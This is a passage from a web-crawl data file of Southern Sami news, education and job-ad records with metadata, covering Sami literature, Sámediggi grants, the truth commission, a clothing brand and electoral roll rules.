gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\n- Kjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129308","date":"2020-01-19T16:30:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00155.warc.gz","language":"sma","language_score":0.9993880987,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9993880987167358}","num_words":254,"character_repetition_ratio":0.204,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njaalmeldh soptsestimmie-kåanste jïh joejkeme-poesije leah sjangerh mejtie saemieh nuhtjeme. Joejkeme-teeksth jïh soptsesh leah dah båarasommes tjiehpies-lidteratuvre tjaalegh mejtie mijjieh utnebe. Dan gaavhtan maehtebe jiehtedh saemien tjiehpies-lidteratuvre tjaeleme-kultuvren lea orre.\nLyrihke\nBaakoe lyrihke greeske baakoste Lyra båata, mij akte instrumeente. Daan biejjien lyrihke dovne laavlome-teeksth jïh dikth\/tjihtesh, men ibie daarpesjh tjoejehtidh mearan lohkeminie. Mijjieh baakoem lyrihke sjangeren bïjre nuhtjebe jïh baakoem dikte\/tjihtese gaajhki dikti bïjre nuhtjebe. Poesije lea gïele mij lyrihke lyrihkese dorje.\nMijjieh aaj tjaelijh utnebe mah dikth, laavlome-teeksth jïh joejkeme-teeksth saemien gïelesne tjaelieh. Paulus Utsi lea aktede dejstie åehpemes saemien tjaelije. Jaepieh dåaroej gaskem Paulus Utsi eelki politihke dikth tjaeledh, men idtji dejtie bajhkohth eannan 1970-låhkosne.\nNils-Aslak Valkeapää aaj akte beagkoes saemien multi-tjiehpiedæjja. Dïhte dikth musihkine jïh guvviejgujmie darjoeji. Jaepien 1991 Nils-Aslak baalkam Nordisk råds litteraturpris åadtjoeji goh voestes saemie.\nÅarjel-saemien raedtesne Gaebpien Gåsta (Gustav Kappfjell) voestes gærjam Gaaltije bæjhkoehti jaepien 1987. Gærjesne dovne dikth jïh joejkeme-teeksth. Jïh jaepien 2000 Ella Holm Bull dikte-gærjam Ovmessie darjomes bæjhkoehti. Joseph Fjellgren dikte-gærjam Föörhkedem tjearoem bæjhkoehti jaepien 2012.\nGååvnese aaj vielie tjaelijh mah dikth åarjel-saemien gïelesne tjaaleme guktie Jaahkenelkien Aanna (Anna Jakobsen), Marhta Jåma, Elsa Stångberg jnv.\n- Kjernestoff\nDaennie teemesne mijjieh dïkth tjöönghkeme maam maahtah lohkedh.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172396\/topic:1:182173","date":"2020-01-28T04:17:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251773463.72\/warc\/CC-MAIN-20200128030221-20200128060221-00285.warc.gz","language":"sma","language_score":0.9999706745,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999706745147705}","num_words":190,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dej gaskem mah dåarjoem åådtjeme lea Stiftelsen Saemien musihkefestivaale Guovdageaidnusne mij 200 000 kråvnah dåarjojne åådtjeme juktie åssjalommesem guhkiebasse evtiedidh orresistie sjïehtedimmien bïjre båarasåbpoe Sámi Grand Prix-laavloemijstie.\nStiftelsen Saemien musihkefestivaale dam darjoeji 2019 gosse lij 30 jaepieh mænngan Sámi Grand Prix öörnesovvi dan ellen voestes aejkien. Åssjalommese lea noere artisth jïh produsenth edtjieh båeries klassihkerh orresistie sïjse spealadidh jïh dej lin dovne bæjhkoehtimmieh jïh konserth gusnie daejtie orre laavloemidie laavloejin. SMF daelie nuepiem vuajna daam konseptem evtiedidh, dovne dejnie aajkojne orre, noere artisth jïh produsenth åvtese lutnjedh, men aaj juktie jeatjah saemien festivaaligujmie laavenjostedh – daan aejkien Márkomeannu.\n– Daate akte joekoen gieltegs prosjekte mij sæjhta meatan årrodh dovne Saemien musihkefestivaalem jïh Márkomeannum evtiedidh, dan åvteste dah leah meatan goh laavenjostoeguejmieh prosjektesne. Lissine sæjhta meatan årrodh vueliem åvtese lutnjedh jieniebinie scenine, dan åvteste laavenjostoe aaj tseegkesovveme gaskem jeatjah Riksscenine, saemiedigkieraerie Henrik Olsen (NSR) jeahta.\nJaepien 2020 Stiftelsen Saemien musihkefestivaale edtja lissine jarngesne utnedh minngeles produseenth dåårrehtidh jïh edtja barkoetjåanghkoej tjïrrh jïh mentovrigujmie jienebh musihkeproduseenth Saepmesne evtiedidh.\n– Gosse jarngesne åtna jienebh musihkeproduseenth jïh joekoen minngeles produseenth, dellie daate lea prosjekte mij lissine sæjhta meatan årrodh saemien artiste- jïh tjeahpoebyjresem evtiedidh abpe Saepmesne. Daate hijvenlaakan vuesehte guktie mijjieh maaje vuejnebe mijjen saemien institusjovnh leah meatan maahtoem lissiehtidh aaj jïjtsh institusjovnen ålkolen.\nDåarjoe bæjhkoehtæmman saemien lidteratuvreste\nSaemiedigkieraerie aaj dåarjoem vadteme juktie saemien lidteratuvrem bæjhkoehtidh. Dej gaskem mah dåarjoem åådtjeme lea Solum Forlag AS mij 331 000 kråvnah åådtjeme juktie Kathrine Nedrejorden romaanem «Det Sara skjuler» jarkoestidh.\n– Kathrine Nedrejord lea tjaelije mij gellie teemah bæjjese vaeltieh mej bïjre geerve soptsestidh. Daennie noereromaanesne teemah leah seksuelle daaresjimmie jïh daaresjimmie mah feesten mænngan heannadieh, jïh dahkoe Karasjohkesne sjugniehtåvva. Gærja joe hijven laejhtemh åådtjeme jïh mijjieh gegkiestibie dïhte sæjhta vielie digkiedimmieh teeman bïjre buektedh gosse aaj noerhtesaemien gielesne båata, Olsen jeahta.\nMubpie ohtsememierie dåarjoeöörnegasse produksjovnese saemien lidteratuvreste lea njoktjen 1.b. 2020. Dåarjoeöörnege kultuvreråajvarimmide ræhpas ohtsememieriem åtna.\nJis dov leah gyhtjelassh jïh\/jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Henrik Olsen (NSR), tell. +47 907 75 219","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoe-kultuvreraaajvarimmide-jih-saemien-lidteratuvrese","date":"2020-02-25T12:54:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146066.89\/warc\/CC-MAIN-20200225110721-20200225140721-00034.warc.gz","language":"sma","language_score":0.9999866486,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999866485595703}","num_words":312,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sïejhme vuajnoe Saepmesne sjïdteme\nJarkoestæjja: Ellen Bull Jonassen\n– Manne aervedem manne hijvenlaakan Saepmine åahpenem. Gosse leam gaervies daejnie dellie gujht enn vielie daajram goh deejrim gosse eelkim. Manne gujht maam akt saemien gïeli bïjre lïereme, men mov åejviefokuse ij leah saemien lïeredh, men daaroedehtemeprosessem guarkedh jïh maam dïhte lea dorjeme. Jïh almetjh edtjieh åadtjodh dam soptsestidh dennie gïelesne maam sijhtieh, mijjieh edtjebe hoksedh daate jarkoestamme sjædta jïh guarkeme sjædta dejstie mah eah guarkoeh, Dagfinn Høybråten jeahta, mij Saetniesvoete- jïh Liktemekommisjovnen barkoem stuvrie.\nLåavthgåetiej jïh dueljiej gaskesne\nMijjieh raaktan Riddu-plaahkosne gaavnedibie gelliej låavthgåetiej jïh teelti gaskesne. Dueljesne tjahkasjidh låavthgåetien ålkolen sæjhta akte eevre biejjieladtje vuajnoe sjïdtedh. Daaroedehtemepolitihke lea garre orreme, dan garre guktie Stoerredigkie aktem kommisjovnem nammoehtamme mij edtja daaroedehtemem goerehtalledh jïh liktemem raeriestidh. Dïhte aarebi Kristeles Åålmegekrirrien åvtehke jïh ministere lea provnedamme biejjeste jïh lea mejjesne. Læjhkan itjmies sjædta gosse daaroedehtemen bïjre soptseste.\n–Mijjieh veaksehks soptsesh govleme seminaaresne maam Riddu Riđđusne åtneme. Ij leah naan juerie gellie soptsesh eah leah eensilaakan jæjhteme. Jïjnje lea luehkien nualan bïejesovveme. Muvhten aejkien luehkie leeseldihkie, men maehtedh dam tjuevtedh lea vihkeles juktie maehtedh histovrijem soptsestidh dejtie mah dan bïjre birreme, jïh aaj juktie maehtedh daejnie guhkiebasse barkedh. Ij leah akte iemie almetje jis dan eah gïknjelassh båetieh gosse dan vaejvien bïjre gåvla man bïjre doh ovmessie boelvh maehtieh soptsestidh. Noerh sijjen aahka gon aajjaj bïjre soptsestieh mah garmerdin saemine årrodh jïh eejhtegi bïjre mah lin dam tjeakoes höölteme. Almetjh mah meadtam dååjreme akten guhkies jieleden tjïrrh jïh mah sijhtieh govlelgidh jïh krööhkestamme sjïdtedh. Dam darjobe jïh mijjen gïknjelassh båetieh.\nAalka orre feelemisnie daan tjaktjen\nMinngemes hïeljen kommisjovne lij Riddu Riddusne Gaivuotnesne. Skïereden edtja daejnie sijjine mïnnedh: Bugøynes, Vadsø, Varangerbotn, Neiden, Kirkenes, Tjakten Tjåanghkosne Snåasesne jïh Pride-öörnedimmesne Tråantesne.\n–Mijjieh gujht aalkeme mijjen bïevnesefeeleminie kommisjovnen barkoen bïjre. Mijjieh festivaaline mïnnebe jïh daelie libie Riddu Riđđusne. Hijven orreme soptsestidh guktie kommisjovne barka, guktie mijjieh guarkebe mijjen stillemem jïh ij goh unnemes almetjh bööredidh sijjen soptsesigujmie båetedh. Mijjieh edtjebe tjaaleldh materijaalem våaroeminie utnedh, dotkeme mij gååvnese, våarhkoematerijaale, voenegærjah jïh gaajhkesåarhts tjaaleldh aath, men sïjhtebe dejtie lissiehtidh dej dååjrehtimmiejgujmie jïh soptsesigujmie mah almetjh utnieh. Mijjieh joe aalkeme dejtie sïjse åadtjodh. Nuepie gååvnese mijjem gaskesadtedh mijjen nedtesæjrojne. Almetjh maehtieh saaht mennie gïelesne tjaeledh jïh saaht mennie hammosne, mejtie lea tjoeje jallh elektrovneles jallh ajve prieviem seedtedh.\nHøybråten aavode gellie saemieh jïh kveenah råakedh. Dïhte gujht guarkoe satne maahta govledh veaksehks soptsesh Åarjel-Saepmeste gusnie daaroedehteme lea joekoen garre orreme jïh gïele lea vaahresne gaarvanidh.\n–Almetjh daaroedehtemem jïh dan konsekvensh dan joekehtslaakan dååjroeh, seamma joekehts goh almetjh leah, jïh seamma tïjjen daejrebe dej geografeles joekehtsi bïjre jïh tsiehkie lea joekehts ovmessie dåehkiej gaskem. Mijjese sæjhta vihkeles årrodh guarkedh jïh vielie dan bïjre lïeredh. Dan åvteste libie daelie dennie boelhkesne gusnie gamte bïevnesh vedtebe dejnie ovmessie sijjine jïh ovmessie areenine gåabph bööredimmiem åadtjobe, jallh desnie gusnie jïjtjh tjåanghkoeh öörnedibie.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/samimag.no\/sma\/content\/siejhme-vuajnoe-saepmesne-sjidteme","date":"2020-02-26T21:42:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146562.94\/warc\/CC-MAIN-20200226211749-20200227001749-00271.warc.gz","language":"sma","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000053644180298}","num_words":466,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.137,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Råålla\nSaemiedigkien direktöören råålla lea seamma goh departemeenteraerie\/reerenasseraerie, Saemiedigkieraerine goh lïhkemes bijjemes politihkeles årgaane. Barkoelaavenjassh leah guektelen juakasovveme, dennie aktene bielesne tjaelijesijjine årrodh politihkeles ståvrose jïh seamma tïjjen reeremem maereleslaakan stuvredh jïh iktedidh mij hijven tjïrrehtimmiem gorrede. Barkoe lïhke laavenjostoem politihkeles ståvrojne kreava. Direktööre sæjhta raeriestimmeles funksjovnem politihkeles ståvrose utnedh jïh dïedtem åtna politihkeles nænnoestimmieh fulkedh.\nDennie biejjieladtje barkosne sæjhta jiehtedh barkoem stuvredh jïh gïehtjedidh reereme politihkeridie hijven sjæjsjalimmievåaromigujmie viehkehte, jïh politihkeles nænnoestimmieh illesuvvieh. Seamma tïjjen direktööre edtja reeremem stuvredh, hoksedh sjæjsjalimmieh bæjhkoehtamme jïh tjïrrehtamme sjidtieh, jïh hoksedh öörnedimmie, rutijnh jïh maahtoe leah maereles jïh bïevnesh hijvenlaakan gelkieh.\nMaahtoeh\nMijjieh kandidaath ohtsedibie nænnoes siebriedahkegoerkesinie jïh daajroe saemien siebriedahken bïjre. Reaktoe kandidaate sjiehteles jollebe ööhpehtimmiem åtna, uvtemes maasteredaltesisnie jïh nænnoes åvtehkedååjrehtimmine. Lissine sæjhta aevhkine årrodh dååjrehtimmine stuvremistie politihkeles stuvreme gïehtelimmine. Hijven persovneles maahtoeh barkose jïh hijven illedahkh barkoejieliedisnie sijhtieh aaj vihkeles årrodh. Sjyöhtehke ohtsijh hijvenlaakan saemien-, nöörjen- jïh eengelske gïelesne govlesedtieh.\nBaalhka- jïh barkoetsiehkieh\nBarkoe lea jaepiebaeliebarkoe mij govhte jaepieh ryöhkoe dejnie nuepine aktem vihth boelhkem åadtjodh.\nAalkoe 01.09.2020.\nBarkoe lea barkoekodese 1062 direktööre bïejesovveme, jïh jearsoesvoetejååhkesjimmiem kreava. Baalhka latjkoen mietie staaten åvtehkebaalhkasysteemen mietie.\nBaalhkeste 2 % geasalguvvieh Statens pensjonskassese\nHijven lööneme- jïh pensjovneöörnegh Statens pensjonskassesne\nFleksijbele barkoetïjje jïh jeatjah hijven tryjjeöörnegh\nHijven barkoebyjrese gusnie datne akte dejstie mij dam sjugnede\nKontovresijjie lea Saemiedigkien reereme Karasjohkesne.\nSaemiedigkien reereme edtja dan gåhkese gåarede gellievoetem årroejinie speejjeldidh. Akte barkijepolitihkeles ulmie lea balaansem buektiehtidh gosse lea aalteren jïh tjoelen bïjre, jïh almetjh unnebelåhkoe- jïh aalkoealmetjemaadtojne dåårrehtidh.\nSaemiedigkien lea latjkoe Inkluderende Arbeidsliv (IA), jïh krööhkeste barkoetsiehkide sjïehteladtedh fïereguhten barkijasse.\nGaajhkesidie mah Finnmarhkesne jïh Noerhte-Romsesne årroeminie 10 % giehpiedimmie studijelaajkoste Statens lånekassesne lea faamosne fïerhten jaepien 25 000 kråvnaj raajan, jïh sjïere skaehtiegiehpiedimmie.\nLissine barkijh seehtemem åådtje sïejhme laaki, njoelkedassi jïh latjkoej mietie, daan nuelesne baalhka jïh pensjovne, jïh 6 askh pryövetïjje.\nGaskese\nVielie bïevnesh barkoen bïjre åadtjoeh jis gaskesadth:\nSaemiedigkiepresidente Aili Keskitalo, mobijle +47 971 29 305\nMijjen laavenjostoeguejmie daennie dåårrehtimmesne Experis AS\n- Solveig Finboe, mobijle +47 958 07 747\n- Øystein Dahl, mobijle +47 905 68 285\nOhtseme\nOhtsije edtja væhnadassh jïh vihtienassh elektrovneles seedtedh daan svaalhtesen baaktoe sæjrosne «Søk stillingen».\nMænngan ohtsememierie lea nåhkeme, byögkeles ohtsijelæstoe dorjesåvva. Byögkelesvoetelaaken § 25 mietie maahta bïevnesh ohtsijen bïjre bæjhkoehtidh jalhts ohtsije leah maadteme ij satnem ohtsijelæstosne tjaeledh.\nOhcanáigemearri\n23. guovvamánnu 2020","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Gaaaroes-barkoeh\/Gaaaroes-barkoe-Direktoeoere-Saemiedigkie","date":"2020-02-25T11:58:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146066.89\/warc\/CC-MAIN-20200225110721-20200225140721-00447.warc.gz","language":"sma","language_score":0.9999966621,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999966621398926}","num_words":349,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anja Thonhaugen jïh Emil Wainwright lægan rætnoe jaepien barkeme orre saemien vaarjoehmïerhkem darjodh maam dah guaktah daelie luejhtiejægan.\nOrre saemien vaarjoehmïerhken nomme «MII LEAT», mij abpe mïerhkem tjïelkeste: «MII LEAT» mij lea «mijjieh libie» noerhtesaemiengïelesne buerkeste mijjieh (saemieh) annje daesnie. Juktie mijjieh veaksehks jïh garmeres jïh daejnie vaarjoemïerhkine maahtah daam 24\/7 vuesiehtidh. Aalkuvisnie saemien baakoeh jïh jiehtegh tråajjine jïh lijhkie-sjåarhtojne mah ideentitetem vuesiehtieh jïh maahtoem burrieh.\n-Mijjieh libie aaj veeljeme jeenjebh saemien gïeline mijjen vaarjojne tjaeledh: Mijjen lea gellie vaarjoeh noerhtesaemiengïelesne, tråajja åarjelsaemiengïelesne jïh lijhkie-sjåarhtoe gaahkine saemien gïeline. Ussjedh man lustes orreme mejtie jeenjebh almetjh såemies orre baakoeh gaajhkine saemien gïeline lïereme! Kaanne maehtebe jorkestimmiem darjodh, Anja Thonhaugen jeahta.\nManne gihtjem gubpede dej guaktaj åssjalommes bööti jïh Thonhaugen vaestede:\n-Manne leam gellie jaepiej bijjeli aelhkie saemien jïh daaletje vaarjoeh ohtseme, jïh im rikti gaavneme. Manne jïjnjh tjaebpies vaarjoeh gaavneme, mohte ij naanh aelhkie jïh onne motijvh. Gosse månnoeh Emilh dan bïjre soptsestigan dillie faahketji daam gyjhtelassem åadtjoejigan: «mannasinie ibie barre prövh maam-akt darjodh?» jïh ij barre vuertedh goske naanh jeatjah almetjh daam darjoeh. Dan gaavhtan MII LEAT sjidti jïh månnoeh eelkigan åssjalommesem jïh produkteem evtiedidh. Månnoeh lean guhkies tæjmoe prosessine barkeme, jïh sjiere produseentem gaavnedh maam mijjen jåartan bïjre ussjede jïh etihkeles produksjovne åtna – jïh daate månnoeh lean gaavneme jïh månnoeh væjkeles viehkiehtæjjah gijhtien.\nVæjkeles viehkiehtæjjaj åvteste Anja Thonhaugen jïh Emil Wainwright daelie maehtiejægan vaarjoemïerhkem MII LEAT luejhtedh:\n-Mijjieh libie beetnegh Saemiedigkeste jïh Nordreisan tjïelteste åådtjeme, jïh beetnegh dejstie leah joekoen vihkeles monnese orreme vaarjoemïerhkem MII LEAT darjodh. Lea naa stoerre motivasjovne monnese gosse jeatjah almetjh dov åssjalommesem jaehkieh, dah guaktah jiehtiejægan.\nDej guaktaj soejkesje båetije biejjide lea stoerre:\n-Aalkuvisnie mijjieh tjoerebe vuartasjidh guktie gåerede – mejtie naakenh sijhtieh mijjen produkteem utnedh, juktie ibie maehtieh jåarhkedh jis ij gie sijhth mijjen produkteem åestedh. Mohte jis almetjh sijhtieh mijjen vaarjojde utnedh dellie jåarhkebe produkteem evtiedidh. Mijjieh håhkesjibie maehtebe naan produksjovne Nöörjese juhtedh, jeatjah aktøvrigujmie barkedh jïh nimhtie. Mijjen stööremes ulmie lea gaajhesh almetjh Nöörjesne edtjieh unnemes 1 baakoeh saemiengïelesne lïeredh. Tijjen doekoe åadtjobe vuejnedh mejtie nimhtie sjædta, dah guaktah mojjehtægan.\nVaarjoemïerhken vaarjoeh gaskevïermesne gååvnesieh, juktie gaajhkesh dovnesh maehtieh daejtie vaarjojde åestedh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/mii-leat-saepmien-orre-vaarjoehmierhke\/","date":"2020-06-03T00:37:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00354.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":347,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarkoestimmie: Ellen Bull Jonassen\nEevre mænngan dïhte politihken sïjse tjaangi 40 jaepiej juassah John Kappfjell lea eadtjohke orreme juktie saemien gïele govlesåvva. Akte sov gæmhpoeaamhtesijstie lea dïhte meala Saemiedigkie fer jolle krïevenassh beaja dejtie mah sijhtieh jïjtjemse tjaeledh saemielåhkoen sïjse.\n–Manne lim joekoen garmeres jïh geerjene gosse saemiedigkie tseegkesovvi, men im lyjhkh dejtie krïevenasside mah leah daerpies jis edtja saemielåhkosne tjåadtjodh. Mov mïelen mietie Saemiedigkie saemielaakem fer striengkieslaakan toelhkeste dej krïevenassi bïjre mah edtjieh illesovvedh, Barkijekrirrien John Kappfjell jeahta.\nAlmetjereakta etnisiteetese vuesehte, dïhte vihkielommes, vuesiehtimmien gaavhtan ij gïele. Joe jåvlevaentjielisnie etnisiteeten bïjre soptsesåvva gosse Josefe Galilean luvhtie vöölki Daviden staaren gåajkoe juktie jïjtjemse almetjelåhkoen sïjse tjaeledh dan åvteste dah lin Daviden maadtoste.\n–Saemien årrojh tjuerieh varke vuesiehtidh mijjieh maam akt mïelebe mijjen parlameentine. Dam maehtebe darjodh gosse meatan vaeltebe dejtie mah vienhtieh sijjieh leah saemien maadtoste, jalhts jïjtje, dej aahka gon aajjah jallh maadteraahka gon maadteraajjah idtji saemesth. Aktene slïekteseminaaresne Raarvihkesne seminaarehööltije, Arvid Jåma, bijjelen 22000 nommh utni mov slïektemoeresne mah lin maahteme saemielåhkosne tjåadtjodh. Læjhkan, jallan 1000 desnie tjåadtjoeh daan biejjien. Daate vuesehte mijjen akte haesteme feerhmeles årrodh, Kappfjell jeahta.\nSlïektemoere vihkielåbpoe gïeleste\nSaemiedigkietjirkije meala doh krïevenassh mejtie åtna juktie jïjtjemse saemielåhkoen sïjse tjaeledh daan biejjien, eah nuekies krööhkesth dejtie mah assimileradamme sjïdtin jïh daarojne dorjesovvin boelvi tjïrrh. Kappfjell sæjhta gaskem jeatjah dah mah jïjtjemse saemine domtoeh, sijhtieh saemielåhkosne tjåadtjodh jïh slïektedotkemen tjïrrh maehtieh vuesiehtidh dah leah saemien maadtoste, ij leah vihkeles mejtie dej maadteraahka gon maadteraajjah saemiesti jallh ij, byöroeh luhpiem åadtjodh bieline sjïdtedh saemielåhkoste.\n–Akte vuesiehtimmie, snjaltjen 22. b. 1609 luhpehts sjïdti gaptine gåårvedidh Helgelaanten mearoegaedtesne gånkan resolusjovnen tjïrrh. Daate lea akte dejstie gellie dahkojste mah dorjesovvin juktie saemide daaroedehtedh jïh assimileradidh. Maajetjh nöörjen gånka dam gaatelassjeme. Men mijjieh, saemien årrojh siengieldibie, ibie mijjieh meatan vaeltieh gaajhkesh mah jïjtjemse saemine domtoeh, mah saemien identiteetem utnieh. Datne dam bïjre jarkan vuajnah, vuesiehtimmien gaavhtan jeenjesh saemien duedtine aelkieh juktie vuesiehtidh dah leah saemien maadtoste, jïh dejtie tjoerebe mijjese vaajtelassjedh. Jis edtjem dam garre baakoejgujmie jiehtedh, daate akte segregeradimmiepolitihke mij daelie dorjesåvva såemies saemiej gaskem. Dah Saemiedigkiem Karasjohkese åadtjoejin, juktie daelie eah jienebh tjoerh båetedh beetnegh beetnehvoessen sistie vaeltedh, geeresth dejtie. Nöörje lea eatnamasse göökte åålmegidie tseegkesovveme, göökte åålmegh! Dellie tjoerebe dåemiedidh goh akte åålmege jïh baajedh gaajhkesh dovnesh buerie båeteme årrodh mijjese, saaht mehtie kråaneste jïh roeneste dah båetieh, maam kultuvride dah utnieh, jïh mejtie Kirkeneseste jallh Osloste båetieh. Saemiedigkie akte nasjonaale årgaane gaajhkide saemide jïh dam tjoerebe gujht krööhkestidh, Kappfjell minngemosth jeahta.\n– Njoelkedassh leah nuekie hijven goh leah\nNöörjen Saemiej Rijhkesiebrien åvtehke jïh saemiedigkien posisjovnepolitihkere Beaska Niillas veanhta daan beajjetje saemielåhkoenjoelkedassh leah nuekie hijven.\n–Manne vïenhtem njoelkedassh leah nuekie hijven goh leah, dah leah akte hijven kompromisse. Jåvva jeahta dah leah fer striengkies, men daelie sagke stuerebe nuepie sjïdteme jïjtjemse sïjse tjaeledh goh lin aarebi. Jis aelhkebe sjïdteme sïjse båetedh saemielåhkoen sïjse ij dïhte maam gænnah loeteme orreme, Nöörjen Saemiej Rijhkesiebrien åvtehke jïh saemiedigkien posisjovnepolitihkere Beaska Niillas jeahta.\n–Gåhkoe tjuara åenebe sjïdtedh\nBeaska Niillas tjïerteste daate akte persovneles veeljeme jïh almetjh eah gaavnjeruktieh tjåadtjoeh juktie saemielåhkoen sïjse båetedh. Ij sïjhth Kappfjellen vaanesovmem lahtestidh segrederadimmiepolitihken bïjre.\n–Mov mïelen mietie lea vihkeles saemieh Nöörjesne, Sveerjesne, Såevmesne jïh Russlaantesne seamma njoelkedassh åadtjoeh juktie meatan sjïdtedh saemielåhkose. Jåvvan lea reaktoe ihke gåhkoe dan noerhtesaemien jïh åarjelsaemien gaskem lea fer stoerre daan biejjien. Dïsse tjoerebe voerkes årrodh. Dïhte saemien sæjhta iktesth raastelaantesne årrodh men mijjieh tjoerebe guhkiebasse ussjedidh juktie måalese båetedh, Beaska Niillas jeahta.\nAlmetjelåhkoekrïevenassh\nSaemielåhkoe daan biejjien lea ajve dejtie mah bæjhkoetieh dah jïjtjemse utnieh goh saemie, jïh mah saemien hïejmegïeline åtneme jallh eejhtegem, aahka gon aajjah jallh maadter-eejhtegh åtneme saemien hïejmegïeline, jallh leah maana aktede almetjistie mij tjåådtje jallh leah saemielåhkosne tjåådtjeme.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/aelhkebe-tjaangemeleahpam-saemielahkose-kreava\/","date":"2020-06-07T09:47:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348526471.98\/warc\/CC-MAIN-20200607075929-20200607105929-00297.warc.gz","language":"sma","language_score":0.9999932051,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999932050704956}","num_words":596,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie lea njieljie pilovtemaanagïerth veeljeme mah SáMOS-prosjekten tjïrrh edtjieh saemien maanagïerten båetijem aejkiem hammoedidh.\nDoh njieljie maanagïerth mah leah pilovtemaanagïertine veeljesovveme daan aejkien leah: Suaja maanagïertesne Snåasesne, Álttá siida AS Altesne, Árran mánáigárdde AS Ájluoktesne jïh Badjemánáid beaiveruoktu AS Karasjohkesne.\nProsjeekten tjïrrh SáMOS – Saemien maanah orre ektietjiehtjielisnie) edtja saemien 